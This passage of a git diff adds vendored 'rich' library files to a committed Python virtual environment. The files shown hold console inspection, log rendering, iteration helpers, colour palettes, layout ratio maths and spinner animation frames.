1), expand=False) + items_table.add_column(justify="right") + add_row = items_table.add_row + highlighter = self.highlighter + + if callable(obj): + signature = self._get_signature("", obj) + if signature is not None: + yield signature + yield "" + + if self.docs: + _doc = self._get_formatted_doc(obj) + if _doc is not None: + doc_text = Text(_doc, style="inspect.help") + doc_text = highlighter(doc_text) + yield doc_text + yield "" + + if self.value and not (isclass(obj) or callable(obj) or ismodule(obj)): + yield Panel( + Pretty(obj, indent_guides=True, max_length=10, max_string=60), + border_style="inspect.value.border", + ) + yield "" + + for key, (error, value) in items: + key_text = Text.assemble( + ( + key, + "inspect.attr.dunder" if key.startswith("__") else "inspect.attr", + ), + (" =", "inspect.equals"), + ) + if error is not None: + warning = key_text.copy() + warning.stylize("inspect.error") + add_row(warning, highlighter(repr(error))) + continue + + if callable(value): + if not self.methods: + continue + + _signature_text = self._get_signature(key, value) + if _signature_text is None: + add_row(key_text, Pretty(value, highlighter=highlighter)) + else: + if self.docs: + docs = self._get_formatted_doc(value) + if docs is not None: + _signature_text.append("\n" if "\n" in docs else " ") + doc = highlighter(docs) + doc.stylize("inspect.doc") + _signature_text.append(doc) + + add_row(key_text, _signature_text) + else: + add_row(key_text, Pretty(value, highlighter=highlighter)) + if items_table.row_count: + yield items_table + elif not_shown_count: + yield Text.from_markup( + f"[b cyan]{not_shown_count}[/][i] attribute(s) not shown.[/i] " + f"Run [b][magenta]inspect[/]([not b]inspect[/])[/b] for options." + ) + + def _get_formatted_doc(self, object_: Any) -> Optional[str]: + """ + Extract the docstring of an object, process it and returns it. + The processing consists in cleaning up the doctring's indentation, + taking only its 1st paragraph if `self.help` is not True, + and escape its control codes. + + Args: + object_ (Any): the object to get the docstring from. + + Returns: + Optional[str]: the processed docstring, or None if no docstring was found. + """ + docs = getdoc(object_) + if docs is None: + return None + docs = cleandoc(docs).strip() + if not self.help: + docs = _first_paragraph(docs) + return escape_control_codes(docs) + + +def get_object_types_mro(obj: Union[object, Type[Any]]) -> Tuple[type, ...]: + """Returns the MRO of an object's class, or of the object itself if it's a class.""" + if not hasattr(obj, "__mro__"): + # N.B. we cannot use `if type(obj) is type` here because it doesn't work with + # some types of classes, such as the ones that use abc.ABCMeta. + obj = type(obj) + return getattr(obj, "__mro__", ()) + + +def get_object_types_mro_as_strings(obj: object) -> Collection[str]: + """ + Returns the MRO of an object's class as full qualified names, or of the object itself if it's a class. + + Examples: + `object_types_mro_as_strings(JSONDecoder)` will return `['json.decoder.JSONDecoder', 'builtins.object']` + """ + return [ + f'{getattr(type_, "__module__", "")}.{getattr(type_, "__qualname__", "")}' + for type_ in get_object_types_mro(obj) + ] + + +def is_object_one_of_types( + obj: object, fully_qualified_types_names: Collection[str] +) -> bool: + """ + Returns `True` if the given object's class (or the object itself, if it's a class) has one of the + fully qualified names in its MRO. + """ + for type_name in get_object_types_mro_as_strings(obj): + if type_name in fully_qualified_types_names: + return True + return False diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_log_render.py b/venv/Lib/site-packages/pip/_vendor/rich/_log_render.py new file mode 100644 index 00000000000..fc16c84437a --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_log_render.py @@ -0,0 +1,94 @@ +from datetime import datetime +from typing import Iterable, List, Optional, TYPE_CHECKING, Union, Callable + + +from .text import Text, TextType + +if TYPE_CHECKING: + from .console import Console, ConsoleRenderable, RenderableType + from .table import Table + +FormatTimeCallable = Callable[[datetime], Text] + + +class LogRender: + def __init__( + self, + show_time: bool = True, + show_level: bool = False, + show_path: bool = True, + time_format: Union[str, FormatTimeCallable] = "[%x %X]", + omit_repeated_times: bool = True, + level_width: Optional[int] = 8, + ) -> None: + self.show_time = show_time + self.show_level = show_level + self.show_path = show_path + self.time_format = time_format + self.omit_repeated_times = omit_repeated_times + self.level_width = level_width + self._last_time: Optional[Text] = None + + def __call__( + self, + console: "Console", + renderables: Iterable["ConsoleRenderable"], + log_time: Optional[datetime] = None, + time_format: Optional[Union[str, FormatTimeCallable]] = None, + level: TextType = "", + path: Optional[str] = None, + line_no: Optional[int] = None, + link_path: Optional[str] = None, + ) -> "Table": + from .containers import Renderables + from .table import Table + + output = Table.grid(padding=(0, 1)) + output.expand = True + if self.show_time: + output.add_column(style="log.time") + if self.show_level: + output.add_column(style="log.level", width=self.level_width) + output.add_column(ratio=1, style="log.message", overflow="fold") + if self.show_path and path: + output.add_column(style="log.path") + row: List["RenderableType"] = [] + if self.show_time: + log_time = log_time or console.get_datetime() + time_format = time_format or self.time_format + if callable(time_format): + log_time_display = time_format(log_time) + else: + log_time_display = Text(log_time.strftime(time_format)) + if log_time_display == self._last_time and self.omit_repeated_times: + row.append(Text(" " * len(log_time_display))) + else: + row.append(log_time_display) + self._last_time = log_time_display + if self.show_level: + row.append(level) + + row.append(Renderables(renderables)) + if self.show_path and path: + path_text = Text() + path_text.append( + path, style=f"link file://{link_path}" if link_path else "" + ) + if line_no: + path_text.append(":") + path_text.append( + f"{line_no}", + style=f"link file://{link_path}#{line_no}" if link_path else "", + ) + row.append(path_text) + + output.add_row(*row) + return output + + +if __name__ == "__main__": # pragma: no cover + from pip._vendor.rich.console import Console + + c = Console() + c.print("[on blue]Hello", justify="right") + c.log("[on blue]hello", justify="right") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_loop.py b/venv/Lib/site-packages/pip/_vendor/rich/_loop.py new file mode 100644 index 00000000000..01c6cafbe53 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_loop.py @@ -0,0 +1,43 @@ +from typing import Iterable, Tuple, TypeVar + +T = TypeVar("T") + + +def loop_first(values: Iterable[T]) -> Iterable[Tuple[bool, T]]: + """Iterate and generate a tuple with a flag for first value.""" + iter_values = iter(values) + try: + value = next(iter_values) + except StopIteration: + return + yield True, value + for value in iter_values: + yield False, value + + +def loop_last(values: Iterable[T]) -> Iterable[Tuple[bool, T]]: + """Iterate and generate a tuple with a flag for last value.""" + iter_values = iter(values) + try: + previous_value = next(iter_values) + except StopIteration: + return + for value in iter_values: + yield False, previous_value + previous_value = value + yield True, previous_value + + +def loop_first_last(values: Iterable[T]) -> Iterable[Tuple[bool, bool, T]]: + """Iterate and generate a tuple with a flag for first and last value.""" + iter_values = iter(values) + try: + previous_value = next(iter_values) + except StopIteration: + return + first = True + for value in iter_values: + yield first, False, previous_value + first = False + previous_value = value + yield first, True, previous_value diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_null_file.py b/venv/Lib/site-packages/pip/_vendor/rich/_null_file.py new file mode 100644 index 00000000000..b659673ef3c --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_null_file.py @@ -0,0 +1,69 @@ +from types import TracebackType +from typing import IO, Iterable, Iterator, List, Optional, Type + + +class NullFile(IO[str]): + def close(self) -> None: + pass + + def isatty(self) -> bool: + return False + + def read(self, __n: int = 1) -> str: + return "" + + def readable(self) -> bool: + return False + + def readline(self, __limit: int = 1) -> str: + return "" + + def readlines(self, __hint: int = 1) -> List[str]: + return [] + + def seek(self, __offset: int, __whence: int = 1) -> int: + return 0 + + def seekable(self) -> bool: + return False + + def tell(self) -> int: + return 0 + + def truncate(self, __size: Optional[int] = 1) -> int: + return 0 + + def writable(self) -> bool: + return False + + def writelines(self, __lines: Iterable[str]) -> None: + pass + + def __next__(self) -> str: + return "" + + def __iter__(self) -> Iterator[str]: + return iter([""]) + + def __enter__(self) -> IO[str]: + pass + + def __exit__( + self, + __t: Optional[Type[BaseException]], + __value: Optional[BaseException], + __traceback: Optional[TracebackType], + ) -> None: + pass + + def write(self, text: str) -> int: + return 0 + + def flush(self) -> None: + pass + + def fileno(self) -> int: + return -1 + + +NULL_FILE = NullFile() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_palettes.py b/venv/Lib/site-packages/pip/_vendor/rich/_palettes.py new file mode 100644 index 00000000000..3c748d33e45 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_palettes.py @@ -0,0 +1,309 @@ +from .palette import Palette + + +# Taken from https://en.wikipedia.org/wiki/ANSI_escape_code (Windows 10 column) +WINDOWS_PALETTE = Palette( + [ + (12, 12, 12), + (197, 15, 31), + (19, 161, 14), + (193, 156, 0), + (0, 55, 218), + (136, 23, 152), + (58, 150, 221), + (204, 204, 204), + (118, 118, 118), + (231, 72, 86), + (22, 198, 12), + (249, 241, 165), + (59, 120, 255), + (180, 0, 158), + (97, 214, 214), + (242, 242, 242), + ] +) + +# # The standard ansi colors (including bright variants) +STANDARD_PALETTE = Palette( + [ + (0, 0, 0), + (170, 0, 0), + (0, 170, 0), + (170, 85, 0), + (0, 0, 170), + (170, 0, 170), + (0, 170, 170), + (170, 170, 170), + (85, 85, 85), + (255, 85, 85), + (85, 255, 85), + (255, 255, 85), + (85, 85, 255), + (255, 85, 255), + (85, 255, 255), + (255, 255, 255), + ] +) + + +# The 256 color palette +EIGHT_BIT_PALETTE = Palette( + [ + (0, 0, 0), + (128, 0, 0), + (0, 128, 0), + (128, 128, 0), + (0, 0, 128), + (128, 0, 128), + (0, 128, 128), + (192, 192, 192), + (128, 128, 128), + (255, 0, 0), + (0, 255, 0), + (255, 255, 0), + (0, 0, 255), + (255, 0, 255), + (0, 255, 255), + (255, 255, 255), + (0, 0, 0), + (0, 0, 95), + (0, 0, 135), + (0, 0, 175), + (0, 0, 215), + (0, 0, 255), + (0, 95, 0), + (0, 95, 95), + (0, 95, 135), + (0, 95, 175), + (0, 95, 215), + (0, 95, 255), + (0, 135, 0), + (0, 135, 95), + (0, 135, 135), + (0, 135, 175), + (0, 135, 215), + (0, 135, 255), + (0, 175, 0), + (0, 175, 95), + (0, 175, 135), + (0, 175, 175), + (0, 175, 215), + (0, 175, 255), + (0, 215, 0), + (0, 215, 95), + (0, 215, 135), + (0, 215, 175), + (0, 215, 215), + (0, 215, 255), + (0, 255, 0), + (0, 255, 95), + (0, 255, 135), + (0, 255, 175), + (0, 255, 215), + (0, 255, 255), + (95, 0, 0), + (95, 0, 95), + (95, 0, 135), + (95, 0, 175), + (95, 0, 215), + (95, 0, 255), + (95, 95, 0), + (95, 95, 95), + (95, 95, 135), + (95, 95, 175), + (95, 95, 215), + (95, 95, 255), + (95, 135, 0), + (95, 135, 95), + (95, 135, 135), + (95, 135, 175), + (95, 135, 215), + (95, 135, 255), + (95, 175, 0), + (95, 175, 95), + (95, 175, 135), + (95, 175, 175), + (95, 175, 215), + (95, 175, 255), + (95, 215, 0), + (95, 215, 95), + (95, 215, 135), + (95, 215, 175), + (95, 215, 215), + (95, 215, 255), + (95, 255, 0), + (95, 255, 95), + (95, 255, 135), + (95, 255, 175), + (95, 255, 215), + (95, 255, 255), + (135, 0, 0), + (135, 0, 95), + (135, 0, 135), + (135, 0, 175), + (135, 0, 215), + (135, 0, 255), + (135, 95, 0), + (135, 95, 95), + (135, 95, 135), + (135, 95, 175), + (135, 95, 215), + (135, 95, 255), + (135, 135, 0), + (135, 135, 95), + (135, 135, 135), + (135, 135, 175), + (135, 135, 215), + (135, 135, 255), + (135, 175, 0), + (135, 175, 95), + (135, 175, 135), + (135, 175, 175), + (135, 175, 215), + (135, 175, 255), + (135, 215, 0), + (135, 215, 95), + (135, 215, 135), + (135, 215, 175), + (135, 215, 215), + (135, 215, 255), + (135, 255, 0), + (135, 255, 95), + (135, 255, 135), + (135, 255, 175), + (135, 255, 215), + (135, 255, 255), + (175, 0, 0), + (175, 0, 95), + (175, 0, 135), + (175, 0, 175), + (175, 0, 215), + (175, 0, 255), + (175, 95, 0), + (175, 95, 95), + (175, 95, 135), + (175, 95, 175), + (175, 95, 215), + (175, 95, 255), + (175, 135, 0), + (175, 135, 95), + (175, 135, 135), + (175, 135, 175), + (175, 135, 215), + (175, 135, 255), + (175, 175, 0), + (175, 175, 95), + (175, 175, 135), + (175, 175, 175), + (175, 175, 215), + (175, 175, 255), + (175, 215, 0), + (175, 215, 95), + (175, 215, 135), + (175, 215, 175), + (175, 215, 215), + (175, 215, 255), + (175, 255, 0), + (175, 255, 95), + (175, 255, 135), + (175, 255, 175), + (175, 255, 215), + (175, 255, 255), + (215, 0, 0), + (215, 0, 95), + (215, 0, 135), + (215, 0, 175), + (215, 0, 215), + (215, 0, 255), + (215, 95, 0), + (215, 95, 95), + (215, 95, 135), + (215, 95, 175), + (215, 95, 215), + (215, 95, 255), + (215, 135, 0), + (215, 135, 95), + (215, 135, 135), + (215, 135, 175), + (215, 135, 215), + (215, 135, 255), + (215, 175, 0), + (215, 175, 95), + (215, 175, 135), + (215, 175, 175), + (215, 175, 215), + (215, 175, 255), + (215, 215, 0), + (215, 215, 95), + (215, 215, 135), + (215, 215, 175), + (215, 215, 215), + (215, 215, 255), + (215, 255, 0), + (215, 255, 95), + (215, 255, 135), + (215, 255, 175), + (215, 255, 215), + (215, 255, 255), + (255, 0, 0), + (255, 0, 95), + (255, 0, 135), + (255, 0, 175), + (255, 0, 215), + (255, 0, 255), + (255, 95, 0), + (255, 95, 95), + (255, 95, 135), + (255, 95, 175), + (255, 95, 215), + (255, 95, 255), + (255, 135, 0), + (255, 135, 95), + (255, 135, 135), + (255, 135, 175), + (255, 135, 215), + (255, 135, 255), + (255, 175, 0), + (255, 175, 95), + (255, 175, 135), + (255, 175, 175), + (255, 175, 215), + (255, 175, 255), + (255, 215, 0), + (255, 215, 95), + (255, 215, 135), + (255, 215, 175), + (255, 215, 215), + (255, 215, 255), + (255, 255, 0), + (255, 255, 95), + (255, 255, 135), + (255, 255, 175), + (255, 255, 215), + (255, 255, 255), + (8, 8, 8), + (18, 18, 18), + (28, 28, 28), + (38, 38, 38), + (48, 48, 48), + (58, 58, 58), + (68, 68, 68), + (78, 78, 78), + (88, 88, 88), + (98, 98, 98), + (108, 108, 108), + (118, 118, 118), + (128, 128, 128), + (138, 138, 138), + (148, 148, 148), + (158, 158, 158), + (168, 168, 168), + (178, 178, 178), + (188, 188, 188), + (198, 198, 198), + (208, 208, 208), + (218, 218, 218), + (228, 228, 228), + (238, 238, 238), + ] +) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_pick.py b/venv/Lib/site-packages/pip/_vendor/rich/_pick.py new file mode 100644 index 00000000000..4f6d8b2d794 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_pick.py @@ -0,0 +1,17 @@ +from typing import Optional + + +def pick_bool(*values: Optional[bool]) -> bool: + """Pick the first non-none bool or return the last value. + + Args: + *values (bool): Any number of boolean or None values. + + Returns: + bool: First non-none boolean. + """ + assert values, "1 or more values required" + for value in values: + if value is not None: + return value + return bool(value) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_ratio.py b/venv/Lib/site-packages/pip/_vendor/rich/_ratio.py new file mode 100644 index 00000000000..95267b0cb6c --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_ratio.py @@ -0,0 +1,159 @@ +import sys +from fractions import Fraction +from math import ceil +from typing import cast, List, Optional, Sequence + +if sys.version_info >= (3, 8): + from typing import Protocol +else: + from pip._vendor.typing_extensions import Protocol # pragma: no cover + + +class Edge(Protocol): + """Any object that defines an edge (such as Layout).""" + + size: Optional[int] = None + ratio: int = 1 + minimum_size: int = 1 + + +def ratio_resolve(total: int, edges: Sequence[Edge]) -> List[int]: + """Divide total space to satisfy size, ratio, and minimum_size, constraints. + + The returned list of integers should add up to total in most cases, unless it is + impossible to satisfy all the constraints. For instance, if there are two edges + with a minimum size of 20 each and `total` is 30 then the returned list will be + greater than total. In practice, this would mean that a Layout object would + clip the rows that would overflow the screen height. + + Args: + total (int): Total number of characters. + edges (List[Edge]): Edges within total space. + + Returns: + List[int]: Number of characters for each edge. + """ + # Size of edge or None for yet to be determined + sizes = [(edge.size or None) for edge in edges] + + _Fraction = Fraction + + # While any edges haven't been calculated + while None in sizes: + # Get flexible edges and index to map these back on to sizes list + flexible_edges = [ + (index, edge) + for index, (size, edge) in enumerate(zip(sizes, edges)) + if size is None + ] + # Remaining space in total + remaining = total - sum(size or 0 for size in sizes) + if remaining <= 0: + # No room for flexible edges + return [ + ((edge.minimum_size or 1) if size is None else size) + for size, edge in zip(sizes, edges) + ] + # Calculate number of characters in a ratio portion + portion = _Fraction( + remaining, sum((edge.ratio or 1) for _, edge in flexible_edges) + ) + + # If any edges will be less than their minimum, replace size with the minimum + for index, edge in flexible_edges: + if portion * edge.ratio <= edge.minimum_size: + sizes[index] = edge.minimum_size + # New fixed size will invalidate calculations, so we need to repeat the process + break + else: + # Distribute flexible space and compensate for rounding error + # Since edge sizes can only be integers we need to add the remainder + # to the following line + remainder = _Fraction(0) + for index, edge in flexible_edges: + size, remainder = divmod(portion * edge.ratio + remainder, 1) + sizes[index] = size + break + # Sizes now contains integers only + return cast(List[int], sizes) + + +def ratio_reduce( + total: int, ratios: List[int], maximums: List[int], values: List[int] +) -> List[int]: + """Divide an integer total in to parts based on ratios. + + Args: + total (int): The total to divide. + ratios (List[int]): A list of integer ratios. + maximums (List[int]): List of maximums values for each slot. + values (List[int]): List of values + + Returns: + List[int]: A list of integers guaranteed to sum to total. + """ + ratios = [ratio if _max else 0 for ratio, _max in zip(ratios, maximums)] + total_ratio = sum(ratios) + if not total_ratio: + return values[:] + total_remaining = total + result: List[int] = [] + append = result.append + for ratio, maximum, value in zip(ratios, maximums, values): + if ratio and total_ratio > 0: + distributed = min(maximum, round(ratio * total_remaining / total_ratio)) + append(value - distributed) + total_remaining -= distributed + total_ratio -= ratio + else: + append(value) + return result + + +def ratio_distribute( + total: int, ratios: List[int], minimums: Optional[List[int]] = None +) -> List[int]: + """Distribute an integer total in to parts based on ratios. + + Args: + total (int): The total to divide. + ratios (List[int]): A list of integer ratios. + minimums (List[int]): List of minimum values for each slot. + + Returns: + List[int]: A list of integers guaranteed to sum to total. + """ + if minimums: + ratios = [ratio if _min else 0 for ratio, _min in zip(ratios, minimums)] + total_ratio = sum(ratios) + assert total_ratio > 0, "Sum of ratios must be > 0" + + total_remaining = total + distributed_total: List[int] = [] + append = distributed_total.append + if minimums is None: + _minimums = [0] * len(ratios) + else: + _minimums = minimums + for ratio, minimum in zip(ratios, _minimums): + if total_ratio > 0: + distributed = max(minimum, ceil(ratio * total_remaining / total_ratio)) + else: + distributed = total_remaining + append(distributed) + total_ratio -= ratio + total_remaining -= distributed + return distributed_total + + +if __name__ == "__main__": + from dataclasses import dataclass + + @dataclass + class E: + size: Optional[int] = None + ratio: int = 1 + minimum_size: int = 1 + + resolved = ratio_resolve(110, [E(None, 1, 1), E(None, 1, 1), E(None, 1, 1)]) + print(sum(resolved)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_spinners.py b/venv/Lib/site-packages/pip/_vendor/rich/_spinners.py new file mode 100644 index 00000000000..d0bb1fe7516 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_spinners.py @@ -0,0 +1,482 @@ +""" +Spinners are from: +* cli-spinners: + MIT License + Copyright (c) Sindre Sorhus (sindresorhus.com) + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights to + use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of + the Software, and to permit persons to whom the Software is furnished to do so, + subject to the following conditions: + The above copyright notice and this permission notice shall be included + in all copies or substantial portions of the Software. + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, + INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE + FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, + ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS + IN THE SOFTWARE. +""" + +SPINNERS = { + "dots": { + "interval": 80, + "frames": "⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏", + }, + "dots2": {"interval": 80, "frames": "⣾⣽⣻⢿⡿⣟⣯⣷"}, + "dots3": { + "interval": 80, + "frames": "⠋⠙⠚⠞⠖⠦⠴⠲⠳⠓", + }, + "dots4": { + "interval": 80, + "frames": "⠄⠆⠇⠋⠙⠸⠰⠠⠰⠸⠙⠋⠇⠆", + }, + "dots5": { + "interval": 80, + "frames": "⠋⠙⠚⠒⠂⠂⠒⠲⠴⠦⠖⠒⠐⠐⠒⠓⠋", + }, + "dots6": { + "interval": 80, + "frames": "⠁⠉⠙⠚⠒⠂⠂⠒⠲⠴⠤⠄⠄⠤⠴⠲⠒⠂⠂⠒⠚⠙⠉⠁", + }, + "dots7": { + "interval": 80, + "frames": "⠈⠉⠋⠓⠒⠐⠐⠒⠖⠦⠤⠠⠠⠤⠦⠖⠒⠐⠐⠒⠓⠋⠉⠈", + }, + "dots8": { + "interval": 80, + "frames": "⠁⠁⠉⠙⠚⠒⠂⠂⠒⠲⠴⠤⠄⠄⠤⠠⠠⠤⠦⠖⠒⠐⠐⠒⠓⠋⠉⠈⠈", + }, + "dots9": {"interval": 80, "frames": "⢹⢺⢼⣸⣇⡧⡗⡏"}, + "dots10": {"interval": 80, "frames": "⢄⢂⢁⡁⡈⡐⡠"}, + "dots11": {"interval": 100, "frames": "⠁⠂⠄⡀⢀⠠⠐⠈"}, + "dots12": { + "interval": 80, + "frames": [ + "⢀⠀", + "⡀⠀", + "⠄⠀", + "⢂⠀", + "⡂⠀", + "⠅⠀", + "⢃⠀", + "⡃⠀", + "⠍⠀", + "⢋⠀", + "⡋⠀", + "⠍⠁", + "⢋⠁", + "⡋⠁", + "⠍⠉", + "⠋⠉", + "⠋⠉", + "⠉⠙", + "⠉⠙", + "⠉⠩", + "⠈⢙", + "⠈⡙", + "⢈⠩", + "⡀⢙", + "⠄⡙", + "⢂⠩", + "⡂⢘", + "⠅⡘", + "⢃⠨", + "⡃⢐", + "⠍⡐", + "⢋⠠", + "⡋⢀", + "⠍⡁", + "⢋⠁", + "⡋⠁", + "⠍⠉", + "⠋⠉", + "⠋⠉", + "⠉⠙", + "⠉⠙", + "⠉⠩", + "⠈⢙", + "⠈⡙", + "⠈⠩", + "⠀⢙", + "⠀⡙", + "⠀⠩", + "⠀⢘", + "⠀⡘", + "⠀⠨", + "⠀⢐", + "⠀⡐", + "⠀⠠", + "⠀⢀", + "⠀⡀", + ], + }, + "dots8Bit": { + "interval": 80, + "frames": "⠀⠁⠂⠃⠄⠅⠆⠇⡀⡁⡂⡃⡄⡅⡆⡇⠈⠉⠊⠋⠌⠍⠎⠏⡈⡉⡊⡋⡌⡍⡎⡏⠐⠑⠒⠓⠔⠕⠖⠗⡐⡑⡒⡓⡔⡕⡖⡗⠘⠙⠚⠛⠜⠝⠞⠟⡘⡙" + "⡚⡛⡜⡝⡞⡟⠠⠡⠢⠣⠤⠥⠦⠧⡠⡡⡢⡣⡤⡥⡦⡧⠨⠩⠪⠫⠬⠭⠮⠯⡨⡩⡪⡫⡬⡭⡮⡯⠰⠱⠲⠳⠴⠵⠶⠷⡰⡱⡲⡳⡴⡵⡶⡷⠸⠹⠺⠻" + "⠼⠽⠾⠿⡸⡹⡺⡻⡼⡽⡾⡿⢀⢁⢂⢃⢄⢅⢆⢇⣀⣁⣂⣃⣄⣅⣆⣇⢈⢉⢊⢋⢌⢍⢎⢏⣈⣉⣊⣋⣌⣍⣎⣏⢐⢑⢒⢓⢔⢕⢖⢗⣐⣑⣒⣓⣔⣕" + "⣖⣗⢘⢙⢚⢛⢜⢝⢞⢟⣘⣙⣚⣛⣜⣝⣞⣟⢠⢡⢢⢣⢤⢥⢦⢧⣠⣡⣢⣣⣤⣥⣦⣧⢨⢩⢪⢫⢬⢭⢮⢯⣨⣩⣪⣫⣬⣭⣮⣯⢰⢱⢲⢳⢴⢵⢶⢷" + "⣰⣱⣲⣳⣴⣵⣶⣷⢸⢹⢺⢻⢼⢽⢾⢿⣸⣹⣺⣻⣼⣽⣾⣿", + }, + "line": {"interval": 130, "frames": ["-", "\\", "|", "/"]}, + "line2": {"interval": 100, "frames": "⠂-–—–-"}, + "pipe": {"interval": 100, "frames": "┤┘┴└├┌┬┐"}, + "simpleDots": {"interval": 400, "frames": [". ", ".. ", "...", " "]}, + "simpleDotsScrolling": { + "interval": 200, + "frames": [". ", ".. ", "...", " ..", " .", " "], + }, + "star": {"interval": 70, "frames": "✶✸✹✺✹✷"}, + "star2": {"interval": 80, "frames": "+x*"}, + "flip": { + "interval": 70, + "frames": "___-``'´-___", + }, + "hamburger": {"interval": 100, "frames": "☱☲☴"}, + "growVertical": { + "interval": 120, + "frames": "▁▃▄▅▆▇▆▅▄▃", + }, + "growHorizontal": { + "interval": 120, + "frames": "▏▎▍▌▋▊▉▊▋▌▍▎", + }, + "balloon": {"interval": 140, "frames": " .oO@* "}, + "balloon2": {"interval": 120, "frames": ".oO°Oo."}, + "noise": {"interval": 100, "frames": "▓▒░"}, + "bounce": {"interval": 120, "frames": "⠁⠂⠄⠂"}, + "boxBounce": {"interval": 120, "frames": "▖▘▝▗"}, + "boxBounce2": {"interval": 100, "frames": "▌▀▐▄"}, + "triangle": {"interval": 50, "frames": "◢◣◤◥"}, + "arc": {"interval": 100, "frames": "◜◠◝◞◡◟"}, + "circle": {"interval": 120, "frames": "◡⊙◠"}, + "squareCorners": {"interval": 180, "frames": "◰◳◲◱"}, + "circleQuarters": {"interval": 120, "frames": "◴◷◶◵"}, + "circleHalves": {"interval": 50, "frames": "◐◓◑◒"}, + "squish": {"interval": 100, "frames": "╫╪"}, + "toggle": {"interval": 250, "frames": "⊶⊷"}, + "toggle2": {"interval": 80, "frames": "▫▪"}, + "toggle3": {"interval": 120, "frames": "□■"}, + "toggle4": {"interval": 100, "frames": "■□▪▫"}, + "toggle5": {"interval": 100, "frames": "▮▯"}, + "toggle6": {"interval": 300, "frames": "ဝ၀"}, + "toggle7": {"interval": 80, "frames": "⦾⦿"}, + "toggle8": {"interval": 100, "frames": "◍◌"}, + "toggle9": {"interval": 100, "frames": "◉◎"}, + "toggle10": {"interval": 100, "frames": "㊂㊀㊁"}, + "toggle11": {"interval": 50, "frames": "⧇⧆"}, + "toggle12": {"interval": 120, "frames": "☗☖"}, + "toggle13": {"interval": 80, "frames": "=*-"}, + "arrow": {"interval": 100, "frames": "←↖↑↗→↘↓↙"}, + "arrow2": { + "interval": 80, + "frames": ["⬆️ ", "↗️ ", "➡️ ", "↘️ ", "⬇️ ", "↙️ ", "⬅️ ", "↖️ "], + }, + "arrow3": { + "interval": 120, + "frames": ["▹▹▹▹▹", "▸▹▹▹▹", "▹▸▹▹▹", "▹▹▸▹▹", "▹▹▹▸▹", "▹▹▹▹▸"], + }, + "bouncingBar": { + "interval": 80, + "frames": [ + "[ ]", + "[= ]", + "[== ]", + "[=== ]", + "[ ===]", + "[ ==]", + "[ =]", + "[ ]", + "[ =]", + "[ ==]", + "[ ===]", + "[====]", + "[=== ]", + "[== ]", + "[= ]", + ], + }, + "bouncingBall": { + "interval": 80, + "frames": [ + "( ● )", + "( ● )", + "( ● )", + "( ● )", + "( ●)", + "( ● )", + "( ● )", + "( ● )", + "( ● )", + "(● )", + ], + }, + "smiley": {"interval": 200, "frames": ["😄 ", "😝 "]}, + "monkey": {"interval": 300, "frames": ["🙈 ", "🙈 ", "🙉 ", "🙊 "]}, + "hearts": {"interval": 100, "frames": ["💛 ", "💙 ", "💜 ", "💚 ", "❤️ "]}, + "clock": { + "interval": 100, + "frames": [ + "🕛 ", + "🕐 ", + "🕑 ", + "🕒 ", + "🕓 ", + "🕔 ", + "🕕 ", + "🕖 ", + "🕗 ", + "🕘 ", + "🕙 ", + "🕚 ", + ], + }, + "earth": {"interval": 180, "frames": ["🌍 ", "🌎 ", "🌏 "]}, + "material": { + "interval": 17, + "frames": [ + "█▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "██▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "███▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "████▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "██████▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "██████▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "███████▁▁▁▁▁▁▁▁▁▁▁▁▁", + "████████▁▁▁▁▁▁▁▁▁▁▁▁", + "█████████▁▁▁▁▁▁▁▁▁▁▁", + "█████████▁▁▁▁▁▁▁▁▁▁▁", + "██████████▁▁▁▁▁▁▁▁▁▁", + "███████████▁▁▁▁▁▁▁▁▁", + "█████████████▁▁▁▁▁▁▁", + "██████████████▁▁▁▁▁▁", + "██████████████▁▁▁▁▁▁", + "▁██████████████▁▁▁▁▁", + "▁██████████████▁▁▁▁▁", + "▁██████████████▁▁▁▁▁", + "▁▁██████████████▁▁▁▁", + "▁▁▁██████████████▁▁▁", + "▁▁▁▁█████████████▁▁▁", + "▁▁▁▁██████████████▁▁", + "▁▁▁▁██████████████▁▁", + "▁▁▁▁▁██████████████▁", + "▁▁▁▁▁██████████████▁", + "▁▁▁▁▁██████████████▁", + "▁▁▁▁▁▁██████████████", + "▁▁▁▁▁▁██████████████", + "▁▁▁▁▁▁▁█████████████", + "▁▁▁▁▁▁▁█████████████", + "▁▁▁▁▁▁▁▁████████████", + "▁▁▁▁▁▁▁▁████████████", + "▁▁▁▁▁▁▁▁▁███████████", + "▁▁▁▁▁▁▁▁▁███████████", + "▁▁▁▁▁▁▁▁▁▁██████████", + "▁▁▁▁▁▁▁▁▁▁██████████", + "▁▁▁▁▁▁▁▁▁▁▁▁████████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁███████", + 